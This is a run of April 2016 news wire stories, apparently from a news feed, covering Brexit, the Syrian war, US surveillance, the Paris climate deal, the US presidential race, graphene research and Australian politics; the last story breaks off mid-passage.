"What you said is a media report. I have not heard about that," Hua said, when asked about the report the Global Times.

The construction of the first maritime nuclear power platform, which serves as a demonstration project, is expected to be completed by 2018 and be put into use by 2019, China Securities Journal reported in January this year.

The daily quoted analysts as saying that the maritime nuclear power platforms will play an important role in China's long-term South China Sea strategy.

Li Jie, a Beijing-based naval expert, told the Global Times yesterday that the platforms could provide reliable power for lighthouses, seawater desalination, rescue and relief equipment, defensive weapons and airports and harbours on islands in the SCS.

China claims almost the entire South China Sea, believed to have huge deposits of oil and gas, and is building islands on reefs to bolster its claims. Brunei, Malaysia, the Philippines, Taiwan and Vietnam also have claims to parts of the waters.

China has witnessed the fastest growth in nuclear power worldwide.

According to China's first white paper on nuclear emergency preparedness issued in January, the Chinese mainland had 27 nuclear power generating units in operation as of the end of October 2015, with a total installed capacity of 25.5 gigawatts (GW), while another 25 units with a total installed capacity of 27.51 GW were under construction.

The world's second largest economy plans to raise its installed nuclear power capacity to 58 GW with an additional 30 GW under construction by 2020 and build itself into a strong nuclear power country by 2030.
London: President Barack Obama warned Britain on Friday that it would find itself "at the back of the queue" for a trade deal with the United States if it voted to leave the European Union in a referendum in June.

Obama told British voters that their country's influence on the world stage was "magnified" by its membership of the 28-member bloc and that, as a close friend and ally, the United States felt a deep interest in the issue.

Speaking at a joint news conference with British Prime Minister David Cameron during a visit to Britain, Obama said Britain's EU membership enhanced the "special relationship" between Washington and London.

"I think this makes you guys bigger players," he said.

On trade, he said the United States would regard a deal with the European Union as a higher priority than a separate agreement with a much smaller market such as a stand-alone Britain.

"It's fair to say that maybe some point down the line there might be a UK-US trade agreement but that's not going to happen anytime soon because our focus is negotiating with a big bloc, the European Union, to get a trade agreement done," Obama said.

"And the UK is going to be in the back of the queue not because we don't have a special relationship but because given the heavy lift on any trade agreement, us having access to a big market with a lot of countries rather than trying to do piecemeal trade agreements is hugely efficient."

He said that in the event of a Brexit, a U.S.-British trade deal might happen, but it would not be anytime soon.

Obama's robust arguments will be music to the ears of Cameron and others in the "In" camp, but those campaigning for an "Out" vote have accused the U.S. president of meddling.

Opinion polls suggest that "In" is ahead, but the race is tight and the number of undecided voters is very high. The referendum takes place on June 23.

Obama's comments at the news conference followed an opinion article in a British newspaper in which he invoked the interlinked history of the United States and Britain and the tens of thousands of Americans lying in European war graves.

"As your friend, I tell you that the EU makes Britain even greater," the headline of Obama's article read.

His remarks, which led television news broadcasts in Britain, undercut one of the most passionate arguments of the opponents of EU membership: that Britain could prosper on an equal basis with global powers such as the United States.

'Hypocritical'

The president's comments drew scorn from the "Out" camp.

New York-born London Mayor Boris Johnson, a leader of the "Out" campaign who is widely seen as a frontrunner to succeed Cameron, said Obama's advice was "incoherent, inconsistent and downright hypocritical".

He said Obama was urging Britain to pool its sovereignty with other nations in a way that the United States itself would never countenance for itself.

He also referred to "the part-Kenyan President's ancestral dislike of the British empire", a comment that was widely criticised as demeaning the EU debate.

Obama said EU membership had helped Britain to spread its values in Europe and beyond, and Washington wanted it to remain in the club it joined in 1973.

This would bolster trade and strengthen the 28-member bloc, which Washington views as a pillar of stability in the post-World War Two era, he said.

Many U.S. banks and companies fear a Brexit would cause market turmoil, diminish the clout of Washington's strongest European ally, hurt London's global financial hub status, cripple the EU and weaken Western security.

"Now is a time for friends and allies to stick together," Obama said. "Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place."

Before talks at Cameron's Downing Street office, Obama and his wife Michelle congratulated Queen Elizabeth, who celebrated her 90th birthday on Thursday.

Prince Philip, Elizabeth's 94-year-old husband, took the wheel of a Range Rover to drive the Obamas to lunch on the territory of Windsor Castle, a royal residence that traces its history back over almost 1,000 years to William the Conqueror.

Two years ago, ahead of a Scottish vote on independence, Obama said he hoped Britain "remains strong, robust and united", a comment that was welcomed by unionist politicians in London. Scots voted to remain part of the United Kingdom.
Peshawar: A prominent Pakistani Sikh doctor and politician was shot dead by unidentified gunmen here on Friday.

Sardar Sooran Singh, who was also the Special Assistant to Chief Minister Khyber Pakhtunkhwa on Minority Affairs, was assassinated in Pir Baba area of Buner District of the province, police said.

The car of Singh was ambushed by unknown assailants on main road near a shrine.

The body of the special assistant has been shifted to the district headquarters hospital for postmortem, police said. The Deputy Commissioner, ADC Buner and police officials rushed to the site.

Singh was a doctor, TV anchor, politician and Minister of Minorities of Khyber Pakhtunkhwa.

Before joining Pakistan Tehreek-e-Insaf (PTI) in 2011 he was a member of Jamaat-e-Islami Pakistan for nine years. Singh was PTI Member of the Provincial Assembly (MPA) elected from District Buner.

He was also member of Tehsil council, Pakistan Sikh Gurdwara Prabandhak Committee and Evacuee Trust Property Board.

Singh also hosted programme 'Za Hum Pakistani Yam' for three and a half years with Khyber News
UNITED NATIONS A Paris deal to slow climate change is set to be signed by more than 165 countries at the United Nations on Friday, the most states to endorse an international agreement on day one, a record backers hope will inspire swift implementation.

Many states still need a parliamentary vote to formally approve the agreement. It will only enter into force when ratified by at least 55 nations representing 55 percent of man-made greenhouse gas emissions.

U.N. Secretary-General Ban Ki-moon "wants to use the event to generate momentum around implementation and early entry into force of the Paris agreement," said Selwin Hart, director of Ban's climate change support team.

Some experts predict the 55 percent thresholds can be reached this year. The United Nations said 13 countries, mostly small island developing states, are due to deposit instruments of ratification on Friday.

The United Nations expects some 60 heads of state and government at the signing ceremony. French President Francois Hollande and Hollywood actor and environmental activist Leonardo di Caprio are expected to attend.

The previous first-day record for signatures was set in 1982 when 119 states signed the Convention on the Law of the Sea.

"It's happening much faster than anyone anticipated or expected," Hart said. "Independent analysis suggests that at least one of the top four emitters must ratify the agreement" for it to surpass the 55 percent of emissions threshold.

China and the United States, the world's top emitters accounting together for 38 percent of emissions, are due to sign, along with Russia and India, who round out the top four.

Many developing nations are pushing to ensure the climate deal comes into force this year, partly to lock in the United States if a Republican opponent of the pact is elected president in November.

Even if the pact is fully implemented, promised greenhouse gas cuts are insufficient to limit warming to an agreed maximum, the United Nations says.

The first three months of 2016 have broken temperature records and 2015 was the warmest year since records began in the 19th century, with heat waves, droughts and rising sea levels.

Warm waters have done widespread damage to corals in Australia's Great Barrier Reef, and sea ice in the Arctic hit a record winter low last month.

"The magnitude of the changes has been a surprise even for veteran climate scientists," said Petteri Taalas, secretary-general of the World Meteorological Organisation.

Jake Schmidt of the Natural Resources Defense Council said the high turnout on Friday "increases the chances that it (the agreement) will enter into force this year."

President Barack Obama says he does not need Senate approval to ratify the agreement. Once the accord enters into force, a little-noted Article 28 says any nation wanting to withdraw must wait four years, the length of a U.S. presidential term.

"There is a clear cry globally for climate action," a senior U.S. State Department official said.

(Additional reporting by Valerie Volcovici; Editing by David Gregorio)

This story has not been edited by Firstpost staff and is generated by auto-feed.
AMMAN/BEIRUT After a brief respite, bombs are falling heavily on Aleppo, forcing people there to think again about whether it is time to get out of a city at the epicentre of the Syrian war.

The momentary normalcy brought by a truce is gone. The parks are empty again, the streets deserted at night. Residents count the explosions and the dead across the frontlines of a city divided between the government and rebels.

There may be worse to come. The government says there will be a new attack to take areas of Aleppo under rebel control, a campaign that would likely aim to seal the last route into rebel-held areas. Air strikes on rebel-held areas have resumed.

Determined to keep their last supply route open, rebels have stepped up their bombardment of government-held areas of the city, and of a predominantly Kurdish district controlled by a militia with which they are also at war.

On both sides of the city, the collapse of peace talks in Geneva has been accompanied by talk of new troop mobilisations on the ground. Rumours swirl of new deployments by government forces and their Shi'ite militia allies on the one hand, and by rebels including jihadist Nusra Front on the other.

"People are most terrified of the air strikes," said Abdul Moneim Juneid, a community worker in an orphanage in rebel-held Aleppo. "People had felt tangibly the benefits of the truce" and yearned for security, he said.

But leaving to Turkey, where hundreds of thousands have fled since the eruption of the conflict in 2011, is no longer an option. The border is closed to most. "What's on many people's minds is the border crossing with Turkey," he said.

"If Turkey had opened the borders, you would have seen the population of Aleppo go down by half."

All the main combatants in the multi-sided Syrian war are fighting in the Aleppo area: insurgents have been waging separate campaigns with the government, the Syrian Kurdish YPG, and Islamic State near the Turkish border.

Aid agencies have expressed concern about the fate of tens of thousands of Syrians currently trapped at the border with Turkey, already hosting some 2.5 million Syrian refugees.

GETTING OUT

A short drive from the Turkish border, Aleppo was Syria's biggest city before the conflict, home to more than 2 million people and an engine of the economy.

Today, some 300,000 are estimated to live in rebel-held areas that have sustained heavy casualties and massive destruction as a result of government bombardment that has already forced many to flee.

Backed by the Russian air force and allied militia from Iran and Lebanon's Hezbollah movement, the government managed to cut the rebels' most direct supply route into Aleppo in February.

The defeat of the opposition in Aleppo would be a crushing blow to the insurgency, and also a blow to Turkey which has backed the Syrian rebel groups fighting near its frontier.

The government-held side of the city is still home to more than 1 million people. The level of casualties and destruction there has been far lower than in the opposition-held areas.

But growing rebel fire power has exacted a heavier toll than at the start of the war.

After the truce, "life had started to return to the city ... people were out until late at night", said Soheib Masri a 29-year-old journalist, speaking by phone from the government side. Now, people were moving away from frontline areas again into safer parts of the city, and in some cases leaving altogether.

"There is a new movement of Aleppo residents towards the other provinces, towards the coast," he said. "I am thinking of getting my family out because there is great fear. The shelling today isn't like before ... they've got rockets that go further."

The route out of government-held Aleppo is also vulnerable. The main Damascus-Aleppo highway runs through rebel held territory, leaving the government dependent on a circuitous desert road that is vulnerable to Islamic State attack.

That road was cut as recently as February by an Islamic State assault. The group remains poised some 10 km (6 miles) away, according to the Syrian Observatory for Human Rights, a Britain-based monitoring group.

"WE CANNOT MOVE"

Recapturing all Aleppo has been a government priority since the Russian air force intervened in support of Assad last September, tipping the conflict his way.

The "cessation of hostilities" deal brokered by the United States and Russia in February began to unravel in the Aleppo area this month with each side accusing the other of attacking first.

Several U.S. officials said this week that the Russian military had repositioned artillery near Aleppo, adding to speculation of an another assault on the city.

The opposition's only way in and out of the city is the so-called Castello road, which provides access to Aleppo's rebel-held western approaches but passes within firing range of Sheikh Maqsoud, an Aleppo district held by the Kurdish YPG militia.

Enmity between the YPG and rebels has spilled into all-out war in the Aleppo area since late last year. Rebels say their attack resulted from YPG attempts to cut the road.

Mohamad Sheikho, a Sheikh Maqsoud resident and member of a leading Kurdish political party, says rebel bombardment has killed 109 people in Sheikh Maqsoud since February. "We cannot move, I tell you. It is besieged," he said by phone.

"The humanitarian situation is extremely bad."

The Observatory, which tracks all sides of the conflict, said that while some goods could be smuggled into Sheikh Maqsoud from adjoining government-held districts, it was considered besieged.

Rebels say the YPG wants to take the Castello road in collaboration with Damascus.

"Twenty brigades of the FSA agreed to teach the PKK a lesson," said Zakaria Malahifji of an Aleppo-based rebel group, referring to the Sheikh Maqsoud attack.

The rebels often call the YPG the PKK, a reference to its links to the Turkish Kurdistan Workers' Party, which is considered a terrorist group by Turkey, the United States and the European Union. The YPG denies rebel assertions that coordinates its attacks with Damascus.

Some in Aleppo say they will not leave, regardless of how bad it gets.

"We have been living in this state of war for three years. The people have gotten used to it," said Ammar al-Absi, a member of a rebel-run local council.

Nuha Ftaima, a 52-year-old school teacher living on the government side, says she will never leave.

Both her husband and brother have been killed in the war, one shot by a sniper and the other killed by a shell.

Speaking by phone as an explosion could be heard in the background, she said it was time the Syrian army put an end to the insecurity. "Without prevarication I say it. We call for a military solution," she said.

(Writing by Tom Perry; editing by Peter Graff)

This story has not been edited by Firstpost staff and is generated by auto-feed.
Diyarbakir: Three Turkish soldiers were killed and others wounded on Friday by a roadside bomb in the Kurdish majority southeast of the country, medical and military sources said.

The explosion was caused by a home-made bomb on the side of a road between Tunceli and Elazig in a region caught up in bloody reprisals between the army and rebels from the outlawed Kurdistan Workers' Party (PKK).

The attack prompted a swift response from the Turkish army, with helicopters dropping bombs on the rebels' escape routes in the region, an AFP journalist at the scene reported.

Security forces blocked the road to traffic.

Fierce clashes between the Turkish state and the PKK resumed in late July last year, upending a two-year ceasefire that had nurtured hopes of an end to a three-decade insurgency which has claimed tens of thousands of lives.

The PKK took up arms in 1984 with the aim of establishing an independent state for Turkey's Kurdish minority, although in recent years its demands have focused on greater autonomy and cultural rights.

Turkey has waged an offensive against the PKK after the collapse of the fragile truce. The renewed conflict has also struck at the heart of the country, with two attacks that killed dozens of people in the capital Ankara claimed by Kurdish rebels.

A radical PKK splinter group, the Kurdistan Freedom Falcons (TAK), claimed responsibility for the two suicide car bombings in Ankara on February 17 and March 13.
WASHINGTON U.S. lawmakers are pressing the nation's top intelligence official to estimate the number of Americans ensnared in email surveillance and other such spying on foreign targets, saying the information was needed to gauge possible reforms to the controversial programs.

Eight Democrats and six Republicans made the request to Director of National Intelligence James Clapper in a letter seen by Reuters on Friday, reflecting the continued bipartisan concerns over the scope of U.S. data espionage.

"You have willingly shared information with us about the important and actionable intelligence obtained under these surveillance programs," wrote the lawmakers, all members of the U.S. House of Representatives' Judiciary Committee.

"Now we require your assistance in making a determination that the privacy protections in place are functioning as designed."

They requested that Clapper provide the information about data collected under a statute, known as Section 702, by May 6.

That law, set to expire at the end of 2017, enables an Internet surveillance programme called Prism that was first disclosed in a series of leaks by former National Security Agency contractor Edward Snowden some three years ago.

Prism gathers messaging data from Alphabet's Google (GOOGL.O), Facebook (FB.O), Microsoft (MSFT.O), Apple (AAPL.O) and other major tech companies that is sent to and from a foreign target under surveillance.

Intelligence officials say data about Americans are "incidentally" collected during communication with a target reasonably believed to be living overseas. Critics see it as "back-door" surveillance on Americans without a warrant.

A recently declassified November opinion from the Foreign Intelligence Surveillance Court, a secretive body that oversees the legality of U.S. spy programs, rejected a constitutional challenge to rules permitting the FBI to access foreign intelligence data for use in domestic criminal investigations.

The Republican-controlled House has voted overwhelmingly since the Snowden leaks to require U.S. agencies obtain a warrant before searching collected foreign intelligence for data belonging to Americans, but those proposals have gained minimal traction in the Senate.

Civil liberties groups and Senator Ron Wyden, an Oregon Democrat, have previously requested information on the extent of U.S. data caught up in the foreign surveillance programme.

The Obama administration, however, has said it cannot provide a precise answer and that any estimate would require reviewing communications in a manner that would raise privacy concerns.

In their letter to Clapper, the lawmakers said officials have demonstrated the feasibility of providing an estimate and that any one-time privacy concerns were acceptable in light of the importance of the information.

James Sensenbrenner, Darrell Issa, Jim Jordan, Ted Poe, Jason Chaffetz, and Blake Farenthold were the Republicans to sign the letter. Jerrold Nadler, Zoe Lofgren, Hank Johnson, Ted Deutch, Cedric Richmond, Suzan DelBene, David Cicilline and John Conyers signed for the Democrats. Conyers is the top Democrat on the Judiciary Committee.

(Reporting by Dustin Volz; Editing by Paul Simao)

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BEIRUT/GENEVA The U.N. special envoy for Syria has vowed to take fragile peace talks into next week despite a walkout by the main armed opposition, a breakdown in a truce and signs that both sides are gearing up to escalate the five-year-old civil war.

The opposition declared a "pause" in the talks this week because of a surge in fighting and too little movement from the government side on freeing detainees or allowing in aid. Nearly all of its delegation left Geneva.

But U.N. envoy Staffan de Mistura said he had no plans to call off the negotiations, the first in five years of conflict to include some rebel factions. He said a ministerial meeting of world powers was urgently needed to get the talks back on track.

"Bottom line, I plan to continue the proximity talks, but at the formal level and at the technical level until next week, probably Wednesday as originally planned," he said.

A fragile ceasefire in place since February was still in effect because none of the sides had renounced it, he said, but it was "in great trouble if we don't act quickly."

The talks at U.N. headquarters in Geneva aim to halt a conflict that has allowed for the rise of the Islamic State group, sucked in regional and major powers and created the world's worst refugee crisis.

De Mistura now says 400,000 people have been killed in the war, far higher than the previous U.N. toll, usually given as 250,000. He said he had no proof of the higher figure but the estimate of 250,000 was two years old and no longer valid.

The war was tilted in President Bashar al-Assad's favor late last year by Russia's intervention.

WASHINGTON CONCERNED BY RUSSIAN MOVES

The White House has expressed concern that Russia has repositioned artillery near the disputed city of Aleppo.

The Russian military moves have sharpened divisions in Washington over whether President Vladimir Putin genuinely backs the U.N.-led initiative to end the war or is using the talks to mask renewed military support for Assad.

President Barack Obama, on a visit to London, said the Syrian crisis cannot be solved without political negotiations and that required dealing with people he deeply disagrees with.

"We are not going to solve the overall problem unless we can get this political track moving," Obama told a joint news conference with British Prime Minister David Cameron.

He said he had always been skeptical about Putin's actions and motives in Syria and that Russia will recognize that the Syrian problem cannot be solved by military means.

Washington is leading its own campaign of air strikes against Islamic State positions in both Iraq and Syria. It acknowledged on Friday that 20 civilians were among those killed in its strikes between Sept. 10 and Feb 2.

Britain's envoy to the Syria peace talks, Gareth Bayley, said on Friday: "The regime is so reliant on external support that it is inconceivable that its allies don't have the leverage to change its approach."

Russian Foreign Minister Sergei Lavrov said on Friday that the decision by the opposition High Negotiations Committee (HNC) to quit Geneva was not a loss for anyone except the HNC itself.

"If they want to ensure their participation (in the peace talks) only by putting ultimatums, with which others must agree, it's their problem," Lavrov said, adding:

"For God's sake, we shouldn't be running after them, we must work with those who think not about their career, not about how to please their sponsors abroad, but with those who are ready to think about the destiny of their country."

Moscow and Washington sponsored the fragile cessation of hostilities that went into effect on Feb. 27 to allow talks to take place but has been left in tatters by increased fighting in the past week.

A warplane crashed southeast of Damascus airport on Friday, said the Syrian Observatory for Human Rights, which monitors the conflict with a network of sources on the ground. It said the cause of the crash and the fate of the pilot were not clear.

The Islamic State group released a video claiming to have shot it down. Footage showed fighters around burning plane wreckage, part of which had a Syrian flag painted on it. Reuters could not independently verify the video.

Russia's Interfax news agency quoted a Syrian military source saying it crashed due to technical malfunction.

In Aleppo, government air strikes in different parts of the city killed at least 19 people and wounded dozens more on Friday, with the death toll expected to rise due to serious injuries, the Observatory said.

Further southwest in Hama province, warplanes targeted rebel-held areas in the strategic Ghab plain that borders Latakia province, Assad's coastal heartland.

Insurgents announced a new battle in Latakia earlier this week which they said was in response to ceasefire violations by the government side, launching fierce assaults there. Fighting raged in the area on Friday, said Observatory.

ASSAD MAIN ISSUE

Endorsed by the U.N. Security Council, the Geneva peace talks marked the most serious effort yet to resolve the war, but failed to make progress on political issues, with no sign of compromise over the question of Assad's future.

Government negotiators say Assad's presidency is non-negotiable. Underlining confidence in Damascus, a top Assad aide reiterated its view that local truce agreements and "destroying terrorism" were the way towards a political solution.

The opposition wants a political transition without Assad, and says the government has failed to make goodwill measures such as releasing detainees and allowing enough aid into opposition-held areas besieged by the military.

The HNC, which is backed by Western nations and key Arab states, had this week urged more military support for rebels after declaring the truce was over and said talks would not re-start until the government stopped committing "massacres".

All the main HNC members had left Geneva by Friday, leaving a handful of experts and a point of contact behind.

Syria is now a patchwork of areas controlled by the government, an array of rebel groups, Islamic State, and the well-organized Kurdish YPG militia.

On Friday, rare clashes between YPG fighters and government-allied forces and militiamen took place for nearly a third day, the Observatory said, in fighting which a Syrian Kurdish official said had killed 26 combatants.

(Additional reporting by John Irish in Geneva; writing by Peter Millership; editing by Peter Graff)

This story has not been edited by Firstpost staff and is generated by auto-feed.
HOLLYWOOD, Fla./WASHINGTON Republican presidential front-runner Donald Trump attacked his top Democratic rival Hillary Clinton on Friday, calling her "crooked," and promised his supporters that he would not bore them by becoming overly presidential.

The comments undercut what his aides had said would be an attempt by the notoriously blunt-speaking Trump to project a more serious image after his win in New York's nominating contest this week, including by rolling out more policy details.

"I can tell you that if I go too presidential, people are going to be very bored," the New York real estate baron told Fox News in an interview that will air on Saturday. He added that he worried his supporters would "fall asleep."

He went on to say that Clinton "is a person who's got many, many flaws" and that she's "the worst possible representative a woman can have," as he shifted his focus away from Republican rivals and toward the Nov. 8 presidential election.

"The only thing she's got going is the women card," Trump said in the excerpts released by the network on Friday. "We call her 'Crooked Hillary' because she's a crooked person. She's always been a crooked person."

Clinton said at a campaign event in Pennsylvania she would not respond to Trump's comments about her.

Donna Hoffman, the head of the political science department at the University of Iowa, said Trump's fiery personality had put him in a bind at this stage of the race.

"The impetus to become more presidential is coming from some of the elite organs of the GOP, but he got to where he is today because of his persona," she said. "To continue this way will keep him alienated from the party, but to change means his supporters will question his authenticity."

In a strong signal that his persona matters, a January survey showed that among Trump's supporters about 43 percent said they liked him because he "speaks his mind," while only 8 percent cited his policies. The survey was conducted by the Working America arm of labor organization AFL-CIO.

Trump's win in his home state of New York on Tuesday bolstered his chances for the Republican presidential nomination, prompting a more serious study of his prospects in the general election.

Trump will give a foreign policy speech on Wednesday at the National Press Club, part of an expanded policy roll-out the campaign is planning, his aides told Republican leaders and lawmakers this week.

The speech will come the day after a round of primary contests in Connecticut, Delaware, Maryland, Pennsylvania and Rhode Island, in which polls show him likely to do well.

REPUBLICANS GATHER IN FLORIDA

But Trump's rivals have said he lacks foreign policy expertise, and several foreign leaders have said they are concerned about the idea of Trump in the White House.

"The mantra that somehow Donald Trump has become the presumptive nominee after New York is ridiculous," Chad Sweet, campaign chairman for Texas Senator Ted Cruz, said on CNN on Friday.

Nationally, Trump has support from nearly half of all Republicans, compared with 28 percent for Cruz and 17 percent for Ohio Governor John Kasich, according to a Reuters/Ipsos poll.

"Now theres no path to victory for Cruz so he should get out. They should both get out, Trump told supporters in Harrington, Delaware. "And when they get out ..., we will start on Hillary Clinton like nobodys ever seen."

Republican National Committee Chairman Reince Priebus said on Friday the party was prepared for numerous scenarios, including a contested convention if no Republican has earned the 1,237 delegates needed to secure the nomination.

Republican National Committee officials gathered in Hollywood, Florida to take stock of the race for the White House and prepare for the possibility of a contested convention in July in Cleveland.

Mexico's new ambassador to the United States, Carlos Sada, vowed on Thursday to combat negative publicity in the U.S. campaign after Trump accused Mexico of sending drug traffickers and rapists into the United States and vowed to build a wall at the border.

Japanese firms said in a Reuters poll released on Wednesday that a Trump presidency would harm security partnerships.

(Reporting by Steve Holland in Hollywood, Florida, and Doina Chiacu and Susan Cornwell in Washington; Additional reporting by Megan Casella; Writing by Emily Stephenson; Editing by Richard Valdmanis and Cynthia Osterman)

This story has not been edited by Firstpost staff and is generated by auto-feed.
New York: Donald Trump thinks anti-slavery icon Harriet Tubman is "fantastic"  but he says the move to have her replace seventh president Andrew Jackson on the $20 bill is "pure political correctness", reports CNN.

"Well, Andrew Jackson had a great history, and I think it's very rough when you take somebody off the bill," Trump said during a town hall on the Today show on NBC on Thursday morning.

"I think Harriet Tubman is fantastic, but I would love to leave Andrew Jackson or see if we can maybe come up with another denomination."

Trump suggested  as Ben Carson also has  that Tubman be put on the $2 bill, which was no longer printed.

The business mogul heaped praise on Jackson, whose presence on the $20 bill was criticised due to his history as a slave-owner and his dismal record on Native American and racial issues, epitomised by the Jackson administration's infamous "Trail of Tears" policy that forcibly relocated the Cherokee people to devastating effect.

"(Jackson) had a history of tremendous success for the country," Trump said. "(The $20) really represented somebody really that was very important to this country. I would love to see another denomination and that could take place. I think that would be more appropriate."

Trump also attributed Jackson's removal to the popularity of the hit musical Hamilton, since it was the $10 bill, graced by first Treasury Secretary Alexander Hamilton, that had initially been targeted in the push to put a woman on a piece of US currency.

"As you know they were going to do the $10 bill, and then all of a sudden the Broadway play, Hamilton, sort of saved that one," Trump said.

Tubman, who died in 1913 at the age of 91, escaped slavery in the South and eventually led hundreds of escaped slaves to freedom as a "conductor" of the Underground Railroad. After the slaves were freed, Tubman was a staunch supporter of a woman's right to vote.

Of the decision to put Tubman on the $20 bill, which was announced this week, Treasury Secretary Jack Lew said, "What she did to free people on an individual basis and what she did afterward  that's a legacy of what an individual can do in a democracy."
Credit: AlexanderAlUS/Wikipedia/CC BY-SA 3.0

(Phys.org)A team of researchers with members from institutions in Spain, France and Egypt has demonstrated that hydrogen atoms on graphene yield a magnetic moment and furthermore, that such moments can order ferromagnetically over relatively large distances. In their paper published in the journal Science the group describes experiments they carried out in attempting to cause a sheet of graphene to become magnetic, how they found evidence that it was possible using hydrogen atoms, and the ways such a material might be used in industrial applications. Shawna Hollen with the University of New Hampshire, and Jay Gupta with Ohio State University, offer some insights into the work done by the team in the same journal issue with a Perspectives piecethey also outline the hurdles that still need to be overcome before magnetic graphene might be used in real applications.

Graphene's superior qualities as a material have been well documented, though one of its drawbacks has not been highlighted as muchit is not magnetic. If it were, it could conceivably be used in many more applications. That has led to efforts to do things to a sheet of graphene that would cause it to become magnetic, one of which is by adding hydrogen atoms to its surface, creating what has been called graphane.

Unfortunately, stability has been an issue, making the process difficult to control. In this new effort, the researchers have taken a different approachthey took advantage of the fact that magnetism occurs in graphene when an imbalance occurs in two sub-lattices that are part of the whole that means the number of atoms that exist in an individual sublattice can be caused to be unequal due to such things as point defects or geometric shape. That allows a hydrogen adatom to bond with a carbon p z -orbital. The end result is magnetic moments being formed in the honeycomb lattice, with such moments aligning ferromagnetically when they are on the same sublattice, and antiferromagnetically when they are on an opposing sublattice.

Such a material, Hollen and Gupta note, might allow for storing information at much higher densities than has ever been seen before, but before that can happen, they also note, several hurdles must be overcome, such as realizing atomic scale precision with the process on a large scale.

A picture of hydrogen atoms in graphene. Credit: CIC nanoGUNE

Explore further A new way to make higher quality bilayer graphene

More information: H. Gonzalez-Herrero et al. Atomic-scale control of graphene magnetism by using hydrogen atoms, Science (2016). H. Gonzalez-Herrero et al. Atomic-scale control of graphene magnetism by using hydrogen atoms,(2016). DOI: 10.1126/science.aad8038 Abstract

Isolated hydrogen atoms absorbed on graphene are predicted to induce magnetic moments. Here we demonstrate that the adsorption of a single hydrogen atom on graphene induces a magnetic moment characterized by a ~20millielectron volt spin-split state at the Fermi energy. Our scanning tunneling microscopy (STM) experiments, complemented by first-principles calculations, show that such a spin-polarized state is essentially localized on the carbon sublattice opposite to the one where the hydrogen atom is chemisorbed. This atomically modulated spin texture, which extends several nanometers away from the hydrogen atom, drives the direct coupling between the magnetic moments at unusually long distances. By using the STM tip to manipulate hydrogen atoms with atomic precision, it is possible to tailor the magnetism of selected graphene regions. Journal information: Science

 2016 Phys.org
He had the blessing of enormous public goodwill  and the curse of impossible expectations. Opposition Leader Bill Shorten during question time on Tuesday. Credit:Andrew Meares Half a year later, there has been a savage reckoning: "People thought suddenly Malcolm would make everything right," says Patrick Baume of the media monitoring specialist iSensis after surveying talkback and social media opinion, "and he hasn't." Two and three-quarter million voters have withdrawn their approval of the job he's doing over the last five months, a precipitous 18 percentage points fall from 69 per cent to 51, according to the Fairfax-Ipsos poll. Illustration: Rocco Fazzari

The pattern, of course, is familiar. All new leaders lose some of their initial goodwill as they make choices, pleasing some voters and alienating others in the course of governing. All honeymoons come to an end eventually. But Turnbull's steep fall, like his giddy ascent, sets a record for the last 20 years. "He's fallen a little bit further and a little bit faster than the previous four prime ministers in their first 30 weeks or so", says the poll analyst John Stirton. Conversely, Bill Shorten has enjoyed something of a rehabilitation. His approval rating has hardly surged, but it is up by 4 percentage points over the same period, equivalent to about 600,000 people forming a better view of his performance. The dominant reality is what the qualitative pollster Rebecca Huntley calls a sense of "Malcolm disappointment". On the Labor side, she says, it's a case of "a little bit of more policy from Bill and fewer 'zingers'", a reference to the disparaging name given to his highly artificial one-line putdowns of Turnbull.

"They don't dislike Turnbull; they say, 'come on!' We thought Malcolm was going to be this guy he's not; and we're still not sure what the Labor party will bring. With Bill, they say, 'who's this guy, what's he about?'" Strikingly, the focus group work done by the two main political parties concurs with Huntley's analysis of her focus groups for a variety of private clients. Where the contest matters most  the competition for votes  support for the two parties has converged at precisely 50.0 per cent for the government and 50.0 per cent for the opposition in the election-deciding measure, the two-party preferred share of the vote. It's the closest tie possible, based on an aggregation of the results of all five of the major polling firms  Fairfax-Ipsos, Newspoll, Morgan, Essential and Reachtel - according to poll watcher Andrew Catsaras. And this precise convergence of support has happened at precisely the moment that the Senate defied Turnbull's ultimatum to pass the bill to reintroduce the Australian Building and Construction Commission, triggering his threat to call a double dissolution election for July 2.

It's as if, in the Alice in Wonderland world of Australia's recent political topsy-turvey, Turnbull and Shorten have stumbled across the magical cake and cordial left behind by Alice. The toweringly dominant prime minister has taken a big gulp of the cordial labelled "drink me" and found himself shrunken down to normal size. The stunted Labor leader has taken a nibble of the cake marked "eat me" and grown to the standard sort of stature for an opposition head. An electoral walkover by the Turnbull government against a defenceless Labor has turned instead, as a Labor strategist put it, into a stalemate where "you slug it out, seat by seat." One telling indicator of the transformation of fortunes? Late last year Labor schemers started subterranean plans to dump Shorten in the last sitting week of the parliamentary session, which would have been in March. The leading candidate to succeed him was Anthony Albanese. That week came and went. There was no canvassing of votes, no speculation of a coup. The plot was moribund because the Liberal party, with a little help from Labor, had managed to take the most compelling electoral asset in Australia  Malcolm Turnbull - and turn him into a beatable proposition in a few short months.

What was in the magic shrinking potion? And what's left of Malcolm the messiah? There were three main ingredients in Turnbull's tumble. One was the expectation that he would act decisively on the causes he's campaigned on over the years  climate change, same sex marriage, an Australian republic. While these expectations might have been unreasonable, Turnbull had done nothing to damp them down: "I am a reformer by nature," he told Fairfax Media in October. There is widespread letdown that he has, instead, embraced the Abbott government position on all three. Turnbull put party unity above his own policy preference. He learned a searing lesson in the consequences of antagonising his party's conservatives when they destroyed him as opposition leader in 2009 in an open revolt over his climate change policy.

Second was the doubly damaging flirtation with raising the GST from 10 to 15 per cent. Many on the centre-right were disappointed that he dumped the idea and veered away from any big-bang tax reform. Many other voters felt aggrieved that he had even considered raising the GST. "Playing footsie with the GST was the big one," a Labor strategist says. Shorten worked doggedly to make sure that the people noticed he was playing footsie with the idea, too. Labor scare campaign cracked Turnbull's nerve. Till that point, he had employed a new mode of politics: "Everything, every single element, is on the table," in considering tax reform he told Fairfax Media, "and I know that always means that someone can then run a scare campaign, but I'm sorry, we've got to stop  this is part of the political tradition I'm determined to end. We have got to be able to consider policy options in an unfettered way." Under the pressure of Shorten's scare campaign, policy options were quickly cleared from the table and the government quickly fettered itself.

